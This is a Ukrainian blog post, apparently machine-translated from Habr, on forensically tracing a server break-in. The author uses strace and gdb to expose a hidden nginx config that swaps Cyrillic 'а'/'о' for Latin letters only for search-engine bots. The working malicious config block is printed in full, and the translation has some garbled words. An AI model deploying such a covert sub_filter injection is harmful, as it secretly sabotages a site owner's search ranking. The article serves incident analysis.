Коли 'a' не дорівнює 'а'. Слідами одного злому

Найнеприємніша історія трапилася з одним моїм знайомим. Але наскільки вона виявилася неприємною для Михайла настільки ж цікавою для мене.

Треба сказати, що мій приятель цілком собі UNIX-Користувач: може сам поставити систему, встановити MySQL, PHP та зробити найпростіші налаштування Nginx.
І є у нього десяток-півтора сайтів, присвячених будівельним інструментам.

Один з таких сайтів присвячений бензопилам щільно сидить у ТОПі пошукових систем. Сайт цей — некомерційний оглядник, але комусь упоперек горла і понадилися його атакувати. То DDoS, то брутфорс, то коментарі напишуть непотрібні та шлють абузи на хостинг та в РКН.
Несподівано все стихло і це затишшя виявилося не на добро, а сайт почав поступово залишати верхні рядки видачі.

Коли 'a' не дорівнює 'а'. Слідами одного злому

То була приказка, далі сама адмінська байка.

Час наближався до сну, коли пролунав дзвінок телефону: «Сань, ти не глянеш мій сервер? Мені здається, мене хакнули, довести не можу, але відчуття не залишає вже третій тиждень. Може мені просто час лікуватися від параної?»

Далі пішло півгодинне обговорення, яке коротко можна викласти так:

  • ґрунт для злому був цілком родючим;
  • зломщик міг отримати права суперкористувача;
  • атака (якщо вона мала місце) була цілеспрямованою саме на цей сайт;
  • проблемні місця виправлені і потрібно лише зрозуміти чи був факт проникнення;
  • злом не міг торкнутися коду сайту та баз даних.

Щодо останнього пункту.

Коли 'a' не дорівнює 'а'. Слідами одного злому

У світ дивиться лише білий IP фронтенд. Між бакендами та фронтендом немає жодного обміну крім http(s), користувачі/паролі різні, ключами не обмінювалися. На сірих адресах всі порти, крім 80/443, закриті. Білі IP бакендів відомі лише двом користувачам, яким Михайло повністю довіряє.

На фронтенді встановлено Debian 9 і на момент дзвінка система ізольована від світу зовнішнім firewall'ом і зупинена.

«Добре, давай доступи, — вирішую відкласти сон на годинку. - Подивлюся своїм оком».

Тут і далі:

$ grep -F PRETTY_NAME /etc/*releas*
PRETTY_NAME="Debian GNU/Linux 9 (stretch)"
$ `echo $SHELL` --version
GNU bash, version 4.4.12(1)-release (x86_64-pc-linux-gnu)
$ nginx -v
nginx version: nginx/1.10.3
$ gdb --version
GNU gdb (Debian 8.2.1-2) 8.2.1

У пошуках можливого злому

Запускаю сервер, спочатку в rescue-mode. Монтую диски, гортаю авт-логі, історія, системні логи тощо, по можливості перевіряю дати створення файлів, хоча розумію, що нормальний зломщик «підсмілив» би за собою, та й Мишко вже знатно «натоптав» поки що шукав сам.

Стартую в нормальному режимі, особливо поки не розуміючи, що шукати, вивчаю конфіги. Насамперед цікавить Nginx оскільки, загалом, на фронтенді крім нього немає нічого.
Конфіги невеликі, добре структуровані в десяток файлів, переглядаю їх просто cat'ом по черзі. Начебто все чисто, але мало чи пропустив якийсь включати, зроблю я повний лістинг:

$ nginx -T
nginx: the configuration file /usr/local/etc/nginx/nginx.conf syntax is ok
nginx: configuration file /usr/local/etc/nginx/nginx.conf test is successful

Не зрозумів: «Де лістинг?»

$ nginx -V
nginx version: nginx/1.10.3
TLS SNI support enabled
configure arguments: --with-cc-opt='-g -O2' --with-ld-opt='-Wl,-z,relro -Wl,-z,now' --prefix=/usr/share/nginx --conf-path=/etc/nginx/nginx.conf --http-log-path=/var/log/nginx/access.log --error-log-path=/var/log/nginx/error.log --lock-path=/var/lock/nginx.lock --pid-path=/run/nginx.pid --modules-path=/usr/lib/nginx/modules --http-client-body-temp-path=/var/lib/nginx/body --http-fastcgi-temp-path=/var/lib/nginx/fastcgi --http-proxy-temp-path=/var/lib/nginx/proxy --http-scgi-temp-path=/var/lib/nginx/scgi --http-uwsgi-temp-path=/var/lib/nginx/uwsgi --with-debug --with-pcre-jit --with-ipv6 --with-http_ssl_module --with-http_stub_status_module --with-http_realip_module --with-http_auth_request_module --with-http_v2_module --with-http_dav_module --with-http_slice_module --with-threads --with-http_addition_module --with-http_gunzip_module --with-http_gzip_static_module --with-http_sub_module --with-stream=dynamic --with-stream_ssl_module --with-mail=dynamic --with-mail_ssl_module

До питання про лістинг додається другий: «Чому така давня версія nginx?»

До того ж система вважає, що версія встановлена ​​свіжа:

$ dpkg -l nginx | grep "[n]ginx"
ii  nginx          1.14.2-2+deb10u1 all          small, powerful, scalable web/proxy server

Дзвоню:
— Миш, ти навіщо перезбирав Nginx?
— Окстись, я навіть не знаю, як це зробити!
- Ok, ну, спи ...

Nginx однозначно перезібраний і виведення лістингу «-T» прихований недарма. Сумнівів у зламі вже немає і можна це просто прийняти і (якщо Мишко все-одно замінив сервер новим) порахувати проблему вирішеною.

І справді, якщо вже хтось отримав права коріньТа, то має сенс робити тільки system reinstall, А шукати, що там було набедокурено марно, але цього разу цікавість перемогла сон. Як же дізнатися, що від нас хотіли приховати?

Спробуємо оттрасувати:

$ strace nginx -T

Переглядаємо, у трасуванні явно не вистачає рядків а-ля

write(1, "/etc/nginx/nginx.conf", 21/etc/nginx/nginx.conf)   = 21
write(1, "...
write(1, "n", 1

Заради інтересу порівнюємо висновки

$ strace nginx -T 2>&1 | wc -l
264
$ strace nginx -t 2>&1 | wc -l
264

Думаю, що частина коду /src/core/nginx.c

            case 't':
                ngx_test_config = 1;
                break;

            case 'T':
                ngx_test_config = 1;
                ngx_dump_config = 1;
                break;

була приведена до вигляду:

            case 't':
                ngx_test_config = 1;
                break;

            case 'T':
                ngx_test_config = 1;
                //ngx_dump_config = 1;
                break;

або

            case 't':
                ngx_test_config = 1;
                break;

            case 'T':
                ngx_test_config = 1;
                ngx_dump_config = 0;
                break;

тому листинг по "-T" не відображається.

Але як подивитися наш конфіг?

Якщо моя думка вірна і проблема тільки у змінній ngx_dump_config спробуємо встановити її за допомогою gdb, благо ключик -with-cc-opt -g є і сподіваємося, що оптимізація -О2 нам не завадить. При цьому, якщо я не знаю як ngx_dump_config могла бути оброблена в case 'T':, не викликатимемо цей блок, а встановимо її використовуючи case 't':

Чому можна задіяти '-t' нарівні з '-T'Обробка блоку if(ngx_dump_config) відбувається всередині if(ngx_test_config):

    if (ngx_test_config) {
        if (!ngx_quiet_mode) {
            ngx_log_stderr(0, "configuration file %s test is successful",
                           cycle->conf_file.data);
        }

        if (ngx_dump_config) {
            cd = cycle->config_dump.elts;

            for (i = 0; i < cycle->config_dump.nelts; i++) {

                ngx_write_stdout("# configuration file ");
                (void) ngx_write_fd(ngx_stdout, cd[i].name.data,
                                    cd[i].name.len);
                ngx_write_stdout(":" NGX_LINEFEED);

                b = cd[i].buffer;

                (void) ngx_write_fd(ngx_stdout, b->pos, b->last - b->pos);
                ngx_write_stdout(NGX_LINEFEED);
            }
        }

        return 0;
    }

Звичайно, якщо код змінено в цій частині, а не в case 'T':то мій спосіб не підійде.

Тестовий nginx.confВже вирішивши проблему досвідченим шляхом було встановлено, що для роботи шкідника необхідний мінімальний конфіг Nginx виду:

events {
}

http {
	include /etc/nginx/sites-enabled/*;
}

Його і будемо для стислості використовувати у статті.

Запускаємо відладчик

$ gdb --silent --args nginx -t
Reading symbols from nginx...done.
(gdb) break main
Breakpoint 1 at 0x1f390: file src/core/nginx.c, line 188.
(gdb) run
Starting program: nginx -t
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".

Breakpoint 1, main (argc=2, argv=0x7fffffffebc8) at src/core/nginx.c:188
188     src/core/nginx.c: No such file or directory.
(gdb) print ngx_dump_config=1
$1 = 1
(gdb) continue
Continuing.
nginx: the configuration file /etc/nginx/nginx.conf syntax is ok
nginx: configuration file /etc/nginx/nginx.conf test is successful
# configuration file /etc/nginx/nginx.conf:
events {
}

http {
map $http_user_agent $sign_user_agent
{
"~*yandex.com/bots" 1;
"~*www.google.com/bot.html" 1;
default 0;
}

map $uri $sign_uri
{
"~*/wp-" 1;
default 0;
}

map о:$sign_user_agent:$sign_uri $sign_o
{
о:1:0 o;
default о;
}

map а:$sign_user_agent:$sign_uri $sign_a
{
а:1:0 a;
default а;
}

sub_filter_once off;
sub_filter 'о' $sign_o;
sub_filter 'а' $sign_a;

        include /etc/nginx/sites-enabled/*;
}
# configuration file /etc/nginx/sites-enabled/default:

[Inferior 1 (process 32581) exited normally]
(gdb) quit

По кроках:

  • встановлюємо точку зупинки у функції main ()
  • запускаємо програму
  • змінюємо значення змінної визначальної виведення конфігу ngx_dump_config=1
  • продовжуємо/завершуємо програму

Як бачимо реальний конфіг відрізняється від нашого, виділяємо з нього паразитний шматок:

map $http_user_agent $sign_user_agent
{
"~*yandex.com/bots" 1;
"~*www.google.com/bot.html" 1;
default 0;
}

map $uri $sign_uri
{
"~*/wp-" 1;
default 0;
}

map о:$sign_user_agent:$sign_uri $sign_o
{
о:1:0 o;
default о;
}

map а:$sign_user_agent:$sign_uri $sign_a
{
а:1:0 a;
default а;
}

sub_filter_once off;
sub_filter 'о' $sign_o;
sub_filter 'а' $sign_a;

Розглянемо по порядку що тут відбувається.

Визначаються User-Agentyandex/google:

map $http_user_agent $sign_user_agent
{
"~*yandex.com/bots" 1;
"~*www.google.com/bot.html" 1;
default 0;
}

Виключаються службові сторінки WordPress:

map $uri $sign_uri
{
"~*/wp-" 1;
default 0;
}

І для тих, хто потрапив під обидва вищеперелічені умови

map о:$sign_user_agent:$sign_uri $sign_o
{
о:1:0 o;
default о;
}

map а:$sign_user_agent:$sign_uri $sign_a
{
а:1:0 a;
default а;
}

у тексті HTML-сторінки змінюється 'про' на 'о' и 'а' на "а":

sub_filter_once off;
sub_filter 'о' $sign_o;
sub_filter 'а' $sign_a;

Саме так, тонкість тільки в тому, що 'а' != 'a' так само як і 'о' != 'o':

Коли 'a' не дорівнює 'а'. Слідами одного злому

Таким чином боти пошукових систем отримують замість нормального 100%-кириличного тексту модифіковане сміття розбавлене латинськими. "а" и 'о'. Не беруся міркувати, як це впливає на SEO, але навряд чи така літерна мішанина позитивно позначиться на позиціях у видачі.

Що сказати, хлопці із фантазією.

Посилання

Налагодження за допомогою GDB
gdb(1) — Linux man page
strace(1) — Linux man page
Nginx - Module ngx_http_sub_module
Про пилки, бензопили та електропилки

Джерело: habr.com

Додати коментар або відгук